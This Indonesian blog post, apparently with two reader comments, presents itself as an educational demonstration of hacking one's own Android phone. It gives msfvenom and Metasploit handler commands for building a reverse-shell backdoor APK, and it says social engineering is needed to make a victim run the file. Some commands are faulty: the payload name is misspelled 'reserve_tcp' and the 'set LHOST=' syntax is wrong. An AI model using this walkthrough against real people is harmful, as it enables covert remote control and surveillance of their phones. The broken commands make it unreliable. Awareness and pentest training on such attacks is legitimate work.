|
Sumber img : https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcR82fdKs-8l75ze3E2RdqKwt7PJGfmE4VWnvQ&usqp=CAU |
Cara hacking ini belum
tentu dapat berhasil dan berjalan mulus karena sistem keamanan android sudah dilengkapi
dengan fitur-fitur proteksi keamanan sedemikian rupa canggihnya karena pengembang (developer) android dewasa ini
sudah sangat aware dan memperhitungkan aspek keamanan pada perangkat smartphone berbasis android baik
dari sisi hardware maupun software yang dikembangkan. Sehingga cara yang akan disimulasikan ini tidak menjamin dapat
berhasil seratus persen bila diaplikasikan.
Namun bukan peretas namanya kalau gampang menyerah, mereka tidak akan kehabisan akal, mereka selalu punya cara lain. "Banyak jalan menuju Roma," seperti kata pepatah bijak. Di kamus Mereka tidak mengenal istilah "give up" untuk mencapai tujuannya. Mereka akan terus menerus berkreatifitas dan berupaya mencari solusi. Satu cara yang lagi ngetrend dewasa ini yaitu jurus pemungkas yang diyakini sangat ampuh dengan melancarkan teknik-teknik serangan
social engineering untuk mengelabui target atau korban agar mau mengikuti perintah
untuk mengeksekusi file-file yang telah disusupi backdoor atau file payload
yang berbentuk APK pada android atau exe pada windows yang dikirimkan ke hp android target/korban dengan
iming-iming beragam rayuan misal menang undian, hadiah atau cara-cara lain yang membuat
si korban tertarik dan terpedaya dan semakin penasaran untuk mengklik link yang diberikan oleh
peretas.
Manakala korban telah terperangkap dan berhasil mengeksekusi file
tersebut, alamat menjadi mimpi buruk dan malapetaka bagi pemilik hp karena
tanpa disadari, hak akses telah berpindah tangan
kepada orang yang tidak berhak. Walhasil, peretas dengan leluasa mengendalikan
hp korban dan memata-matai segala aktivitasnya lantaran mendapatkan hak akses secara ilegal sehingga terjadi resiko kebocoran informasi yang tidak diinginkan.
Kalau sudah begitu, apa saja sumberdaya yang
ada di hp tersebut dapat diakses oleh peretas, mulai dari mengirim sms, melihat
isi sms, menghapus file, membuat file, merekam, meng-capture, screenshoot layar dan menjelajahi serta mengekploitasi isi hp selayaknya hp tersebut sudah berada digenggamnya walau hanya di-remote
dari jarak jauh oleh peretas atau hacker.
So, sekarang kita harus lebih waspada terhadap jebakan tersebut dan lebih berhati-hati serta bijak dalam berselancar di dunia belantara maya dan senantiasa berhati-hati terhadap modus operandi yang lagi marak sekarang ini melalui penipuan file berektensi APK (Android Package Kit), atau klik link di aplikasi chat dari nomor yang tidak kita kenal. Modus yang terbaru yaitu dengan mengirim undangan pernikahan secara elektronik melalui pesan WA dengan file berekstensi APK yang telah disusupi oleh file backdoor. Ekstensi APK ini sejatinya adalah format berkas yang digunakan untuk memasang program/aplikasi berbasis android. Untuk itu jangan pernah sekalipun kita membagikan One Time Password (OTP), Personal Indentification Number (PIN) atau link verifikasi ke pihak manapun juga.
Sebelum mengetahui bagaimana cara exploit android bekerja perlu juga dipahami bahwa metasploit merupakan aplikasi yang digunakan secara luas sebagai alat exploitasi dalam bidang hacking serta IT Security, tools ini banyak dipakai oleh para pemula (beginner) hingga profesional (expert).
Tutorial ini digunakan hanya untuk tujuan pembelajaran semata, gambaran cara kerja seorang peretas dalam melakukan teknik hacking terhadap android yang dirangkum dari berbagai sumber terpercaya dan cara ini sudah banyak tersebar di dunia maya untuk mengedukasi kita agar lebih waspada. Tutorial ini banyak ditemukan di youtube maupun artikel cybersecurity serta sudah dipraktikan oleh penulis secara trial n error. Namun itu semua dapat terjadi apabila kita mengijinkan akses antivirus di hp untuk di non aktifkan dan play proteck di google play store di hp sementara disetting disable untuk keperluan latihan semata jika persyaratan tersebut tidak terpenuhi maka file-file berbahaya akan teridentifikasi sebagai virus atau malware dan akan ditolak dan di-eradicated oleh sistem di android.
Disini akan dijelaskan teknik dasar yang dapat
dijadikan sebuah gambaran dari eksploitasi, saya mengambil contoh hp android saya sendiri sebagai korban atau target dan OS Kali Linux sebagai penyerang. Agar lebih mudah kita menyimulasikan penggunaan OS
Kali Linux dalam dunia hacking namun jangan sekali-kali mencobanya kepada hp orang lain karena perbuatan ini illegal melanggar peraturan perundangan yang berlaku di NKRI, hukuman kurangan badan dan denda akan menanti si pelakunya.
- Cek dahulu IP address dengan membuka OS Kali Linux pada OS Virtual Box, kemudian ketikkan perintah ifconfig melalui terminal atau shell di kali linux bisa dengan menekan ctrl + alt + t atau bisa langsung klik terminal.
ifconfig
Keterangan:
eth0 : jaringan ethernet.
lo : jaringan local atau disebut IP Loopback.
wlan0 : jaringan wireless atau Wi-Fi pada divice.
Disarankan dalam menyeting jaringan menggunakan pilihan Bridge agar terkoneksi ke dalam jaringan induk karena kedua sistem android dan OS Linux ini harus terhubung dalam satu jaringan yang sama.
2. Ketikkan perintah untuk membuat script payload
msfvenom -p android/meterpreter/reserve_tcp LHOST=xxxx LPORT= xxxx R> namapayload.apk
Keterangan :
Payload dalam dunia security = pembawa exploit yang digunakan untuk mengeksekusi shellcode. Payload kemudian akan menjalankan shellcode yang dipilih pada target komputer untuk mendapatkan akses kedalam komputer tujuan (target).
LHOST= xxxx gantikan dengan nomor ip address jaringan local kita yang kita dapat dari perintah ifconfig.
LPORT= xxxx port jaringan yang digunakan untuk trafik data isikan dengan port 443 (port https) atau 4444 atau lainnya, yang pada dasarnya nomor port bebas.
Nama file payload= isikan sesuka kita, misal backdoor.apk, spyware.apk atau yang lainnya terserah kita menamakannya.
-p = jenis payload pada sistem operasi yang akan diserang.
R> = hasil jadi setelah pembuatan payload.
3. Membuat Exploit Handler – msfconsole
Hal pertama yang perlu kalian
perhatikan sebelum manjalankan exploit handler. Menjalankan service apache2 start kemudian cek dengan service apache2 status untuk melihat sudah aktif atau belum layanan server apache.
4. Namun sebelumnya kita aktifkan terlebih dahulu service apachenya dahulu dengan perintah service apache2 status (untuk melihat status apakah sudah aktif atau belum) dan service apache2 start (untuk mengaktifkan servic apache), yang bertujuan agar salah satu service di kali linux dijalankan. Dengan cara ketikkan perintah berikut ini :
service apache2 status
5. Masuk ke dalam msfconsole untuk
membuat exploit handler, jalankan perintah berikut ini.
msfconsole
6. Kemudian jalankan perintah berikut ini untuk
masuk kedalam mode handler.
use
exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST=xxxx
set LPORT=xxxx
show options
exploit
Pada saat kita mengetikkan perintah exploit atau run maka secara simultan juga kita mengirimkan file payload atau backdoor tadi ke hp korban untuk dieksekusi oleh nya agar metasploit bekerja dengan baik dan tanpa hambatan saat melakukan hacking. Pada tahap ini perlu teknik social engineering agar korban segera membuka file backdoor yang kita kirim di hp, jika file tersebut telah dieksekusi tampilannya di OS Kali Linux ditandai dengan masuk ke meterpreter dan di android akan seperti ini.
Kita bisa mengeceknya dengan perintah sysinfo disini korban telah mengeksekusi file payload yang kita buat, tampilannya seperti di bawah ini.
Pada tahap ini kita sudah berhasil masuk ke dalam
directory korban maka peretas sudah memiliki kontrol atau alih kendali sepenuhnya terhadap pemilik hp tersebut dan apabila ingin mengetahui perintah apa saja yang bisa dijalankan dapat mengetikan perintah di meterpreter > help.
selesai
waw... selaras dg Tu-Si : Keamanan Informasi & Persandian
ReplyDeleteIya sayangnya msh terbatas pada uji coba (pentest) keamanan smartphone kebetulan hp sendir, kalau utk keamanan aplikasi dan website sy angkat tangan dan kaki karena ilmunya terlalu tinggi dan luas, hee, hee..paling-paling jg minta tolong sama suhu dan tim CSIRT
ReplyDelete